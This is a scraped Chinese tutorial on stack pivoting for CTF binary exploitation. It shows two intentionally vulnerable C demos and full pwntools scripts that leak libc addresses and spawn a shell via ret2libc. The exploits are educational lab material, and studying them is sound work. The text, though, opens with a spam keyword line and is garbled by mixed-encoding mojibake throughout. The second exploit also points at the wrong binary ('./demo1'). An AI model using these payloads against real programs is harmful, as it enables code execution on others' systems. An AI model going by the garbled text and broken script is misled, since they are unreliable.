自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

關于棧遷移的那些事兒

開發(fā) 前端
在筆者看來棧遷移的原理其實可以總結為一句話:因為棧溢出字節(jié)過少所以劫持rsp?寄存器指向攻擊者提前布置好payload?的內存地址,已達到擴充溢出字節(jié)數(shù)的目的。?

一、前言

現(xiàn)在的CTF比賽中很難在大型比賽中看到棧溢出類型的賽題,而即使遇到了也是多種利用方式組合出現(xiàn),尤其以棧遷移配合其他利用方式來達到組合拳的效果,本篇文章意旨通過原理+例題的形式帶領讀者一步步理解棧遷移的原理以及在ctf中的應用。

二、前置知識

在筆者看來棧遷移的原理其實可以總結為一句話:因為棧溢出字節(jié)過少所以劫持rsp寄存器指向攻擊者提前布置好payload的內存地址,已達到擴充溢出字節(jié)數(shù)的目的。 以一個簡單的demo1為例,程序源碼以及編譯指令如下所示:

#include <stdio.h>

char buf1[0x100];

void main() {
char buf2[0x40];
puts("First: ");
read(0, buf1, 0x100);
puts("Second: ");
read(0, buf2, 0x60);

}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c

程序的流程非常簡單存在兩個輸出,第一次是往全局變量buf1第二次是往局部變量buf2中寫入??梢钥吹皆诘诙螌懭霑r存在明顯的棧溢出漏洞,但是溢出的字節(jié)數(shù)只夠寫入0x18大小的字節(jié),如果要構造gadget泄露內存地址,最短的ROP鏈也需要0x20的字節(jié)才可以在泄露內存后返回輸入點繼續(xù)執(zhí)行程序。

image-20220726104834218.png

在這種情況就可以使用棧遷移的方式來擴大溢出字節(jié)數(shù)的大小,在前面說過棧遷移的本質就是劫持rsp寄存器指向攻擊者提前布置好payload的內存地址,而劫持rsp寄存器的指令有很多,最常用的就是函數(shù)的退棧返回指令leave; ret。 可以分成兩部分來理解這條指令。首先執(zhí)行的是leave指令,這條指令共執(zhí)行了兩個操作mov rsp, rbp和pop rbp,其中rsp寄存器的指向變化如下圖所示,可以看到在執(zhí)行完leave指令后rsp寄存器指向了返回地址;隨后會執(zhí)行ret指令,這條指令可以理解成pop rip。因為此時rsp寄存器指向rbp+8即函數(shù)的返回地址,所以pop給rip寄存器的就是函數(shù)的返回地址,退棧完成。

image-20220726110625946.png

在了解這條指令后不難發(fā)現(xiàn),如果利用溢出漏洞可以覆蓋rbp的值為一個已知地址,那么在執(zhí)行過兩次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此時rsp寄存器指向的地址即為新的棧地址,只要事先在新地址處布置好想要執(zhí)行的rop gadget,那么溢出字節(jié)過少這個問題就迎刃而解了。

image-20220726115139278.png

根據(jù)上面介紹的棧遷移原理,可以總結出使用棧遷移的一些必要條件

  • 存在可以劫持程序流和控制rbp寄存器的漏洞
  • 攻擊者可以確定準確某一塊具有讀寫權限的地址
  • 在進行棧遷移前需要在這塊地址上進行rop gadget?布局

三、例題講解

3.1 例題demo1

在理解了棧遷移的原理后可以通過這個demo來練練手了,進行編譯時未開啟Canary和PIE保護,NX保護開啟防止寫入shellcode

image-20220726150444213.png

這里先將大體的利用思路總結出來,其中的實現(xiàn)細節(jié)實現(xiàn)會在下文中進行說明。

  • 未開啟PIE?保護,可以確定第一次寫入的地址記作addr1?,在此地址處布置rop gadget?來實現(xiàn)泄露LIBC地址并返回主函數(shù)
  • 利用第二次寫入存在的棧溢出漏洞覆蓋rbp為addr1,rip?為指令leave; ret的地址實現(xiàn)棧遷移
  • 返回主函數(shù)后利用ret2libc?執(zhí)行system("/bin/sh")獲取shell

3.1.1 棧遷移布局

首先我們利用第一次輸入進行rop chain布局,并利用第二次棧溢出漏洞覆蓋rbp為偽棧地址劫持rip為leave; ret指令地址,內存變化如下圖所示。 細心的同學會發(fā)現(xiàn),我們在第一次進行rop chain布局前有一小段padding填充在前面,這是因為在我們進行棧遷移后,程序指令中所有對于棧的操作都會在偽棧內進行,而偽棧地址與got表地址相鄰,填入這小段padding的目的就是為了避免程序在對偽棧進行讀寫數(shù)據(jù)時造成內存數(shù)據(jù)段內關鍵信息被覆蓋,從而造成crash現(xiàn)象。

image-20220726204247032.png

在匯編中當我們要對局部變量進行操作時,一般都是用rbp棧底寄存器來定位,如下圖所示。這一點在棧遷移中可以讓我們構造出一個類似于鏈表的利用結構,每次布置rop chain時不斷將rbp寄存器賦值為偽棧地址,然后跳轉到主函數(shù)的寫入函數(shù)處,因為局部變量尋址是通過rbp寄存器,所以我們可以不斷進行rop chain的布局。 在第一次進行rop chain的布局中控制rbp寄存器指向新的偽棧地址,那么在返回主函數(shù)后執(zhí)行read函數(shù)時,寫入地址就是新的偽棧地址,這時只要利用棧溢出漏洞去構造ret2libc即可getshell。

image-20220726211402916.png

3.1.2 EXP

from pwn import *

p = process('./demo1')
libc = ELF('./demo1').libc

fake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572

payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))

payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()

3.2 例題demo2

在CTF比賽中通常只有一次寫入機會,這邊給出demo2的源碼以及編譯命令。

# include <stdio.h>
# include <string.h>
void main() {
char buf[0x28];
puts("Hello Hacker.");

read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c

與demo1一樣demo2未開啟Canary與PIE保護,不同的是demo2中只有一次輸入機會,并且溢出字節(jié)數(shù)只能覆蓋返回地址。 結合之前講解的棧遷移技巧,首先在劫持rsp前需要進行rop chain布局,程序并沒有一次可以往偽棧布局的機會,但是可以利用劫持程序流的方式來構造這一條件。 觀察程序的匯編代碼如下圖所示,在對局部變量buf進行尋址時使用了rbp寄存器,那么我們可以利用這一點配合棧溢出漏洞來實現(xiàn)偽棧上的rop布局。利用思路如下所示,其中的實現(xiàn)細節(jié)實現(xiàn)會在下文中進行說明。

  • 利用棧溢出漏洞劫持rbp?寄存器為偽棧地址,返回地址為0x40054b?(圖中主程序的輸入函數(shù)),即可在返回主程序后對偽棧進行rop chain的布局
  • 對偽棧進行rop chain的布局,泄露LIBC地址并返回主函數(shù)
  • 返回主函數(shù)后利用棧溢出漏洞配合棧遷移+ret2libc完成getshell

image-20220726221209703.png

3.2.1 偽棧rop布局

第一次leave; ret是主函數(shù)退棧時執(zhí)行的,利用棧溢出漏洞覆蓋rbp為偽棧地址,rsp為主函數(shù)地址。當我們再次來到主函數(shù)的輸入函數(shù)時即可在偽棧上布置rop chain。此時的內存變化如下圖所示

image-20220726224554713.png

第二次leave; ret指令依然來自主函數(shù)退棧時執(zhí)行,在偽棧上布置好rop chain后程序執(zhí)行退棧操作,此時rbp寄存器內保存fack_stack-0x30的地址即rop chain地址+0x8的位置處,rsp寄存器被劫持到偽棧上,此時的內存變化如下圖所示

image-20220726225131346.png

這里為什么是fake_stack-0x30的地址呢?因為在對局部變量buf進行尋址時使用到rbp寄存器,而本題中的buf地址來自[rbp-0x30]的地址,所以如果想要將rsp劫持到rop chain的位置,就需要對rbp寄存器賦值為fakc_stack-0x30,那么在執(zhí)行第三次leave的時候,rsp寄存器就劫持到rop chain的地址處,此時的內存變化如下圖所示

image-20220726234500873.png

image-20220726225629456.png

泄露完LIBC地址后,劫持程序流返回主函數(shù),利用read函數(shù)對偽棧進行最后一次rop布局,需要注意此時的寫入地址是fake_stack-0x30,所以在棧遷移時rbp寄存器的值為fake_stack-0x30-0x30-0x8的地址處,再執(zhí)行一次leave; ret時即可將rsp寄存器劫持到ret2libc rop地址處。內存變化如下圖所示

image-20220726233002327.png

3.2.2 EXP

from pwn import *
context.log_level = 'debug'

p = process('./demo1')
libc = ELF('./demo1').libc

read_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567

# gdb.attach(p, 'b *0x400567')

payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)

payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))

payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()


責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2021-04-29 10:30:58

MySQL數(shù)據(jù)遷移

2017-04-12 12:31:14

緩存Web瀏覽器

2022-06-02 08:42:15

Redis數(shù)據(jù)庫

2012-11-28 10:54:37

禁止追蹤DNT

2020-09-22 14:29:24

智能

2017-03-31 09:24:53

AR現(xiàn)實游戲

2022-07-10 07:48:26

緩存軟件設計

2022-06-04 11:12:12

RPCREST協(xié)議

2014-03-12 09:23:06

DevOps團隊合作

2020-05-06 16:47:08

線程安全Python數(shù)據(jù)安全

2020-05-07 10:05:52

Python數(shù)據(jù)安全

2018-03-01 15:34:20

數(shù)據(jù)科學面試招聘

2016-08-31 10:55:30

螞蟻金服前端

2021-08-16 05:39:33

云計算云計算環(huán)境信創(chuàng)云

2022-05-08 17:53:38

Nacos服務端客戶端

2016-09-27 23:47:42

2018-03-15 08:50:46

Hive-數(shù)據(jù)存儲

2018-04-12 16:47:54

新零售

2020-09-14 09:39:41

華為/鴻蒙

2024-05-27 08:03:46

點贊
收藏

51CTO技術棧公眾號